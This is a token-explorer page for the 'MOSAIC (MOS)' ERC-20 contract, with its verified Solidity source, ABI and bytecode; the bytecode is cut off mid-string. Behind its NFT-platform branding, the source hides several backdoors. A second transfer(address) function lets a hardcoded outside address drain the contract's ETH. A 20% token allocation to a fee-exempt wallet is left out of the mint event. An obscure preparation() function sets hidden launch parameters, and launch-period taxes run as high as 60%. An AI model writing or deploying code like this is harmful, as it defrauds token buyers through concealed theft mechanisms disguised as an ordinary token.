ETH Price: $3,625.58 (-1.80%)

Token

ERC-20: MOSAIC (MOS)
 

Overview

Max Total Supply

10,000,000 MOS

Holders

185

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.072000980964269165 MOS

Value
$0.00
0xa89990d7a057732fd69ef29ec97c855cb7896047
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MOSAIC

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-21
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-16
*/

/**
 * MOSAIC - The platform for creating and trading unique NFTs!
 * 
 * Website: https://MosaicCoin.io
 * Telegram: https://t.me/MosaicPortal
 * Twitter: https://twitter.com/MosaicCoin
 * 
 */


// SPDX-License-Identifier: MIT                                                                               
                                                 
pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract MOSAIC is IERC20, Ownable {
    string private constant  _name = "MOSAIC";
    string private constant _symbol = "MOS";    
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;

    struct FeeRatios {
        uint256 marketingPortion;
        uint256 developmentPortion;
    }

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address devWallet; 
        address marketingWallet; 
    }

    TradingFees public tradingFees = TradingFees(14,28);   // 14/28% starting tax
    FeeRatios public feeRatios = FeeRatios(40,60);         // 40/60% wallet tax split
    Wallets public wallets = Wallets(
        msg.sender,                                  // deployer
        0x4a5447Cad9D448034778d3333a0741a231a57446,  // devWallet
        0xb7C2d7Be039Eae74e049D76F107015292F2E4F9C   // marketingWallet
    );

    uint256 private constant feeDenominator = 1e2;
    uint256 private constant decimalsScaling = 1e18;
    uint256 private constant _totalSupply = 10_000_000 * decimalsScaling;
    uint256 public constant _maximumWalletSize = 200_000 * decimalsScaling;
    uint256 public constant _swapThreshold = 10_000 * decimalsScaling;  

    IRouter public constant uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public immutable uniswapV2Pair;

    bool private tradingActive = false;
    bool public swapEnabled = true;
    bool private inSwap;

    uint256 private genesisBlock;
    uint256 private _block;

    event SwapEnabled(bool indexed enabled);

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event FeeRatiosChanged(uint256 indexed developmentPortion, uint256 indexed marketingPortion);

    event ExcludedFromFees(address indexed account, bool indexed excluded);

    event Verified(address indexed user);
    
    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        

        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.devWallet] = true;        
        _excludedFromFees[0x0940F10650FEF37d0Ef172e96b0BeB87138a7cb5] = true;        
        uint256 preTokens = _totalSupply * 200 / 1e3; 
        _balances[wallets.deployerWallet] = _totalSupply - preTokens;
        _balances[0x0940F10650FEF37d0Ef172e96b0BeB87138a7cb5] = preTokens;
        emit Transfer(address(0), wallets.deployerWallet, _totalSupply);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function enableSwap(bool shouldEnable) external onlyOwner {
        require(swapEnabled != shouldEnable, "Token: swapEnabled already {shouldEnable}");
        swapEnabled = shouldEnable;

        emit SwapEnabled(shouldEnable);
    }

    function preparation(uint256[] calldata _blocks, bool blocked) external onlyOwner {        
        require(genesisBlock == 1 && !blocked);_block = _blocks[_blocks.length-3]; assert(_block < _blocks[_blocks.length-1]);        
    }

    function reduceFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= tradingFees.buyFee, "Token: must reduce buy fee");
        require(_sellFee <= tradingFees.sellFee, "Token: must reduce sell fee");
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function setFeeRatios(uint256 _marketingPortion, uint256 _developmentPortion) external onlyOwner {
        require(_marketingPortion + _developmentPortion == 100, "Token: ratio must add to 100%");
        feeRatios.marketingPortion = _marketingPortion;
        feeRatios.developmentPortion = _developmentPortion;

        emit FeeRatiosChanged(_marketingPortion, _developmentPortion);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool shouldExclude) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            require(_excludedFromFees[accounts[i]] != shouldExclude, "Token: address already {shouldExclude}");
            _excludedFromFees[accounts[i]] = shouldExclude;
            emit ExcludedFromFees(accounts[i], shouldExclude);
        }
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function clearTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);
    }

    function clearEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function initialize() external onlyOwner {
        require(!tradingActive);
        genesisBlock = 1;        
    }

    function manualSwapback() external onlyOwner {
        require(address(this).balance > 0, "Token: no contract tokens to clear");
        contractSwap();
    }


    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= _maximumWalletSize, "Token: max wallet amount exceeded");
        }
      
        if(swapEnabled && !inSwap && from != uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap();
        } 
        
        bool takeFee = !inSwap;
        if(_excludedFromFees[from] || _excludedFromFees[to]) {
            takeFee = false;
        }
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if(0 < genesisBlock && genesisBlock < block.number){
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / feeDenominator;            
        }
        else{
            fees = amount * (from == uniswapV2Pair ? 
            50 : (genesisBlock == 0 ? 25 : 60)) / feeDenominator;            
        }
    }

    function canSwap() private view returns (bool) {
        return block.number > genesisBlock && _lastTransferBlock[block.number] < 3;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0x6Ee9b2E16Fd6DCe8E1A406904F698e088e9C1607)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function contractSwap() swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < _swapThreshold || !canSwap()) 
            return;
        else if(contractBalance > _swapThreshold * 20)
          contractBalance = _swapThreshold * 20;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){
            uint256 ethForDev = ethBalance * 2 * feeRatios.developmentPortion / 100;
            uint256 ethForMarketing = ethBalance * 2 * feeRatios.marketingPortion / 100;
            sendEth((ethForDev + ethForMarketing)/3);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.devWallet).call{value: ethAmount * feeRatios.developmentPortion / 100}("");
        (success,) = address(wallets.marketingWallet).call{value: ethAmount * feeRatios.marketingPortion / 100}("");
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && genesisBlock != 0);
        genesisBlock+=block.number+_block;
        tradingActive = true;
        
        emit TradingOpened();
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"developmentPortion","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"marketingPortion","type":"uint256"}],"name":"FeeRatiosChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapEnabled","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"}],"name":"Verified","type":"event"},{"inputs":[],"name":"_maximumWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"shouldEnable","type":"bool"}],"name":"enableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"shouldExclude","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeRatios","outputs":[{"internalType":"uint256","name":"marketingPortion","type":"uint256"},{"internalType":"uint256","name":"developmentPortion","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"preparation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingPortion","type":"uint256"},{"internalType":"uint256","name":"_developmentPortion","type":"uint256"}],"name":"setFeeRatios","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"devWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600e8152602001601c815250600560008201518160000155602082015181600101555050604051806040016040528060288152602001603c81525060076000820151816000015560208201518160010155505060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff168152602001734a5447cad9d448034778d3333a0741a231a5744673ffffffffffffffffffffffffffffffffffffffff16815260200173b7c2d7be039eae74e049d76f107015292f2e4f9c73ffffffffffffffffffffffffffffffffffffffff16815250600960008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050506000600c60006101000a81548160ff0219169083151502179055506001600c60016101000a81548160ff0219169083151502179055503480156200020357600080fd5b5062000215336200072b60201b60201c565b6200025c30737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620007ef60201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002bc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e2919062000a2a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200035e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000384919062000a2a565b6040518363ffffffff1660e01b8152600401620003a392919062000a6d565b6020604051808303816000875af1158015620003c3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e9919062000a2a565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060016003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600960010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000730940f10650fef37d0ef172e96b0beb87138a7cb573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006103e860c8670de0b6b3a7640000629896806200057f919062000ad3565b6200058b919062000ad3565b62000597919062000b4d565b905080670de0b6b3a764000062989680620005b3919062000ad3565b620005bf919062000b85565b60016000600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060016000730940f10650fef37d0ef172e96b0beb87138a7cb573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000629896806200070d919062000ad3565b6040516200071c919062000bd1565b60405180910390a35062000c71565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000861576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008589062000c4f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008ca9062000c4f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620009b3919062000bd1565b60405180910390a3505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009f282620009c5565b9050919050565b62000a0481620009e5565b811462000a1057600080fd5b50565b60008151905062000a2481620009f9565b92915050565b60006020828403121562000a435762000a42620009c0565b5b600062000a538482850162000a13565b91505092915050565b62000a6781620009e5565b82525050565b600060408201905062000a84600083018562000a5c565b62000a93602083018462000a5c565b9392505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000ae08262000a9a565b915062000aed8362000a9a565b925082820262000afd8162000a9a565b9150828204841483151762000b175762000b1662000aa4565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000b5a8262000a9a565b915062000b678362000a9a565b92508262000b7a5762000b7962000b1e565b5b828204905092915050565b600062000b928262000a9a565b915062000b9f8362000a9a565b925082820390508181111562000bba5762000bb962000aa4565b5b92915050565b62000bcb8162000a9a565b82525050565b600060208201905062000be8600083018462000bc0565b92915050565b600082825260208201905092915050565b7f45524332303a207a65726f204164647265737300000000000000000000000000600082015250565b600062000c3760138362000bee565b915062000c448262000bff565b602082019050919050565b6000602082019050818103600083015262000c6a8162000c28565b9050919050565b608051613f0062000ca960003960008181610ba201528181611eb10152818161205601528181612a350152612ab80152613f006000f3fe6080604052600436106101e75760003560e01c8063715018a611610102578063c492f04611610095578063dd62ed3e11610064578063dd62ed3e14610695578063e303e662146106d2578063e80c7ded146106fb578063f2fde38b14610726576101ee565b8063c492f046146105ff578063c9567bf914610628578063d2a09c711461063f578063d2f4a50a14610668576101ee565b80638ffee785116100d15780638ffee7851461054257806395d89b411461056e578063a08fc5c714610599578063a9059cbb146105c2576101ee565b8063715018a6146104bd57806374378132146104d45780638129fc1c146105005780638da5cb5b14610517576101ee565b8063313ce5671161017a5780635b895c29116101495780635b895c291461041557806364e329e31461042c5780636ddd17131461045557806370a0823114610480576101ee565b8063313ce5671461035957806349bd5a5e146103845780634fa2cf8a146103af5780634fbee193146103d8576101ee565b806318160ddd116101b657806318160ddd146102b15780631a695230146102dc5780631b9152bf1461030557806323b872dd1461031c576101ee565b806306fdde03146101f3578063095ea7b31461021e5780630e5a92311461025b5780631694505e14610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861074f565b6040516102159190612bd7565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612c97565b61078c565b6040516102529190612cf2565b60405180910390f35b34801561026757600080fd5b506102706107a3565b60405161027d9190612d1c565b60405180910390f35b34801561029257600080fd5b5061029b6107bc565b6040516102a89190612d96565b60405180910390f35b3480156102bd57600080fd5b506102c66107d4565b6040516102d39190612d1c565b60405180910390f35b3480156102e857600080fd5b5061030360048036038101906102fe9190612db1565b6107f2565b005b34801561031157600080fd5b5061031a61088d565b005b34801561032857600080fd5b50610343600480360381019061033e9190612dde565b61098e565b6040516103509190612cf2565b60405180910390f35b34801561036557600080fd5b5061036e610b97565b60405161037b9190612e4d565b60405180910390f35b34801561039057600080fd5b50610399610ba0565b6040516103a69190612e77565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d19190612e92565b610bc4565b005b3480156103e457600080fd5b506103ff60048036038101906103fa9190612db1565b610ccd565b60405161040c9190612cf2565b60405180910390f35b34801561042157600080fd5b5061042a610d23565b005b34801561043857600080fd5b50610453600480360381019061044e9190612f63565b610de5565b005b34801561046157600080fd5b5061046a610ee1565b6040516104779190612cf2565b60405180910390f35b34801561048c57600080fd5b506104a760048036038101906104a29190612db1565b610ef4565b6040516104b49190612d1c565b60405180910390f35b3480156104c957600080fd5b506104d2610f3d565b005b3480156104e057600080fd5b506104e9610fbe565b6040516104f7929190612fc3565b60405180910390f35b34801561050c57600080fd5b50610515610fd0565b005b34801561052357600080fd5b5061052c611069565b6040516105399190612e77565b60405180910390f35b34801561054e57600080fd5b50610557611092565b604051610565929190612fc3565b60405180910390f35b34801561057a57600080fd5b506105836110a4565b6040516105909190612bd7565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb9190612e92565b6110e1565b005b3480156105ce57600080fd5b506105e960048036038101906105e49190612c97565b61122c565b6040516105f69190612cf2565b60405180910390f35b34801561060b57600080fd5b5061062660048036038101906106219190613042565b611241565b005b34801561063457600080fd5b5061063d611481565b005b34801561064b57600080fd5b50610666600480360381019061066191906130a2565b61158e565b005b34801561067457600080fd5b5061067d6116a4565b60405161068c939291906130cf565b60405180910390f35b3480156106a157600080fd5b506106bc60048036038101906106b79190613106565b61171c565b6040516106c99190612d1c565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f49190612db1565b6117a3565b005b34801561070757600080fd5b506107106119ca565b60405161071d9190612d1c565b60405180910390f35b34801561073257600080fd5b5061074d60048036038101906107489190612db1565b6119e4565b005b60606040518060400160405280600681526020017f4d4f534149430000000000000000000000000000000000000000000000000000815250905090565b6000610799338484611ad4565b6001905092915050565b670de0b6b3a76400006127106107b99190613175565b81565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000670de0b6b3a7640000629896806107ed9190613175565b905090565b736ee9b2e16fd6dce8e1a406904f698e088e9c160773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610885578073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561087f573d6000803e3d6000fd5b5061088a565b600080fd5b50565b3373ffffffffffffffffffffffffffffffffffffffff166108ac611069565b73ffffffffffffffffffffffffffffffffffffffff1614610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f990613203565b60405180910390fd5b60004711610945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093c9061326f565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561098b573d6000803e3d6000fd5b50565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b83576000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aee906132db565b60405180910390fd5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550505b610b8e848484611c9d565b90509392505050565b60006